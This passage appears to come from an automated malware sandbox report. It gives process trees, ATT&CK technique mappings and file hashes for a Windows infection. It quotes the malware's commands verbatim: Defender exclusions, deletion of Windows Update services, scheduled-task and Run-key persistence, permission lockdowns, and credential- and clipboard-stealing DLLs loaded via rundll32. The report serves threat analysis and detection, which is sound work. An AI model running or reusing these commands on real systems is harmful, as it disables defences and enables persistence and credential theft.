PID 4312 wrote to memory of 4148	4312	1EE7.exe	83
PID 4312 wrote to memory of 4148	4312	1EE7.exe	83
PID 5008 wrote to memory of 4884	5008	Player3.exe	84
PID 5008 wrote to memory of 4884	5008	Player3.exe	84
PID 5008 wrote to memory of 4884	5008	Player3.exe	84
PID 3036 wrote to memory of 4872	3036	FEA8.exe	85
PID 3036 wrote to memory of 4872	3036	FEA8.exe	85
PID 3036 wrote to memory of 4872	3036	FEA8.exe	85
PID 4872 wrote to memory of 4132	4872	build3.exe	86
PID 4872 wrote to memory of 4132	4872	build3.exe	86
PID 4872 wrote to memory of 4132	4872	build3.exe	86
PID 4884 wrote to memory of 4040	4884	nbveek.exe	88
PID 4884 wrote to memory of 4040	4884	nbveek.exe	88
PID 4884 wrote to memory of 4040	4884	nbveek.exe	88
PID 4884 wrote to memory of 1652	4884	nbveek.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Users\Admin\AppData\Local\Temp\e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
  "C:\Users\Admin\AppData\Local\Temp\e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2272
- C:\Users\Admin\AppData\Local\Temp\FEA8.exe
  C:\Users\Admin\AppData\Local\Temp\FEA8.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Users\Admin\AppData\Local\Temp\FEA8.exe
    C:\Users\Admin\AppData\Local\Temp\FEA8.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\5a6265c3-18dd-47c6-a53f-9b563a51ccbb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1296
  - - C:\Users\Admin\AppData\Local\Temp\FEA8.exe
      "C:\Users\Admin\AppData\Local\Temp\FEA8.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4072
    - - C:\Users\Admin\AppData\Local\Temp\FEA8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\FEA8.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3036
      - C:\Users\Admin\AppData\Local\25504390-ee16-4785-a72d-7e61beec4b39\build3.exe
        
        "C:\Users\Admin\AppData\Local\25504390-ee16-4785-a72d-7e61beec4b39\build3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4872
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4132
- C:\Users\Admin\AppData\Local\Temp\36C.exe
  C:\Users\Admin\AppData\Local\Temp\36C.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4264
- C:\Users\Admin\AppData\Local\Temp\476.exe
  C:\Users\Admin\AppData\Local\Temp\476.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 476
    3⤵
    - Program crash
    PID:2948
- C:\Users\Admin\AppData\Local\Temp\6BA.exe
  C:\Users\Admin\AppData\Local\Temp\6BA.exe
  2⤵
  - Executes dropped EXE
  PID:3872
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 484
    3⤵
    - Program crash
    PID:4956
- C:\Users\Admin\AppData\Local\Temp\803.exe
  C:\Users\Admin\AppData\Local\Temp\803.exe
  2⤵
  - Executes dropped EXE
  PID:4708
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 476
    3⤵
    - Program crash
    PID:448
- C:\Users\Admin\AppData\Local\Temp\1EE7.exe
  C:\Users\Admin\AppData\Local\Temp\1EE7.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4884
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4040
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:1652
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4524
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4456
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:2780
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:392
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:1236
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:4128
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:2584
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:96
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4900
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4252
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4148
- C:\Users\Admin\AppData\Local\Temp\2C17.exe
  C:\Users\Admin\AppData\Local\Temp\2C17.exe
  2⤵
  - Executes dropped EXE
  PID:220
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    PID:3392
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:1640
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 1488
    3⤵
    - Program crash
    PID:2152
- C:\Users\Admin\AppData\Local\Temp\6F99.exe
  C:\Users\Admin\AppData\Local\Temp\6F99.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2124
- C:\Users\Admin\AppData\Local\Temp\8852.exe
  C:\Users\Admin\AppData\Local\Temp\8852.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4132
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1640
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3964
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3656
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4724
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3580
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5076
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4704
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2876
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4432
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4336
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2172
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3724
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4856
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:996
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:420
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4416
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4852
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4860
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3132
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:404
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1412
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2552
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:168
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4820
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4040
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3164
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4012
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:888
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1180
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:2040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3972
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2228
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:4424

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4180
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:1820

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1832

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4340

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe

Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe

Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
2KB

MD5
e5b1cc0ae5af6a8277d75cff4af2c5e8

SHA1
4768fff3d4bbe02f89683b4a0e7b15b24b54eb9f

SHA256
d950c0d748aae641d71b11cd1c519b289917c23bee1a2b6bc5c496fd8e5d4655

SHA512
57a4737deeefac0124d73b52525993fecbbebd21a556ece87f8e79e845e07f037abb5e49f7458e8a010935c6691f18fbb913d77ecfb2ba902067788c483ec3d7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
1KB

MD5
3adac03b181d7980568dda0da0efc9de

SHA1
a283c4c9bd26a65b8240d21708e57f5946778341

SHA256
24c4973ced938b77d9670ac79eb76cd52411b17ab59ec78ba14c1b433f342933

SHA512
6fbd2a32fc18606628ea56311764cd879a1196405dddd4d269ad6163b2ffdcf916786f1c0328f27ec089be5cb9b4ecb3542363f4dfb3df1c1b91a0e038b67241

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
488B

MD5
456304ca149b965f4047e26997321c89

SHA1
7846de24b47ba31c7c6a562e505ce7708e039f4d

SHA256
79bec18d9ee556281ac3a7e17515564e35207293245c774ec41ca10e15323714

SHA512
a31dea613e31fdeab390b10a6b733d39636c32c5b43ad6fd3be7ef66f0daef4c588ee2575edfff498cc0febfeee2f23ab857c6be353e60c70e80e821f67d69f1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
482B

MD5
c84377ba40b57c757af4a41103027843

SHA1
d363dc52bc873b1c8dbb92e783cb6117bdeba27e

SHA256
fa14d6441559c5825017f69d4c725b622d3bf9fbd53c8487915aa61698879c37

SHA512
9a992986f67821b0875beac46a0e425d5fdc7802ff784c2511bb7249cb8b24f0f0e7592d68d3f8104478832ab90f6cf48267b114151986c27dab5da32678a373

Download Submit
C:\Users\Admin\AppData\Local\25504390-ee16-4785-a72d-7e61beec4b39\build3.exe

Filesize
9KB

MD5
9ead10c08e72ae41921191f8db39bc16

SHA1
abe3bce01cd34afc88e2c838173f8c2bd0090ae1

SHA256
8d7f0e6b6877bdfb9f4531afafd0451f7d17f0ac24e2f2427e9b4ecc5452b9f0

SHA512
aa35dbc59a3589df2763e76a495ce5a9e62196628b4c1d098add38bd7f27c49edf93a66fb8507fb746e37ee32932da2460e440f241abe1a5a279abcc1e5ffe4a

Download Submit
C:\Users\Admin\AppData\Local\25504390-ee16-4785-a72d-7e61beec4b39\build3.exe

Filesize
9KB

MD5
9ead10c08e72ae41921191f8db39bc16

SHA1
abe3bce01cd34afc88e2c838173f8c2bd0090ae1

SHA256
8d7f0e6b6877bdfb9f4531afafd0451f7d17f0ac24e2f2427e9b4ecc5452b9f0

SHA512
aa35dbc59a3589df2763e76a495ce5a9e62196628b4c1d098add38bd7f27c49edf93a66fb8507fb746e37ee32932da2460e440f241abe1a5a279abcc1e5ffe4a

Download Submit
C:\Users\Admin\AppData\Local\5a6265c3-18dd-47c6-a53f-9b563a51ccbb\FEA8.exe

Filesize
759KB

MD5
f194ac765ef33c0ea9492348021eddc3

SHA1
1d821007587e84e9516a3c6cfc6d05221e728614

SHA256
b8f105a2506e754dc7504e9f44714d5c5550fcb723e589dc70ed5d5e1de4559d

SHA512
2276dbcdad0c6c6ca3a7afce80b809da613150166b0e842a090d7a063ca902c9b5b5fbad718710f61aa096b3a1503237b66cd130cdcb4358791db8273cc54d94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ccc79a33c6a3e09996a17920bfeeaee3

SHA1
4755049cae10a0794d61c5acd3c35a74ebfee1d3

SHA256
204292000154c09ef7cdfcc0f9f7a4f47e96344388df4468589c83b1aba0dd1a

SHA512
9d75b425718ef8481739f85a8bcbf6f8357a61f9e4ade2380ee040ee6d678b31c5d7838255d93d419d70a6a3f0f8a1d7d11ca617ad13e27bfaad6381e3a5f152

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
600aa76dfb6b8cb5a1d60283611a70c7

SHA1
db83160a66349c18ec3f624d916f81710a43525f

SHA256
0fb488b647bde7e20b11b1d7e98bacfd41058468b77287b01e915a18c918a050

SHA512
976acdcd089e80931993d32080783484bc1907d4731f57ce4128791fa9a7480fe94f11f6ad623980bd3c99482aac5ee9f2c427803638601e9ae43e3963884dec

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe

Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe

Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe

Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
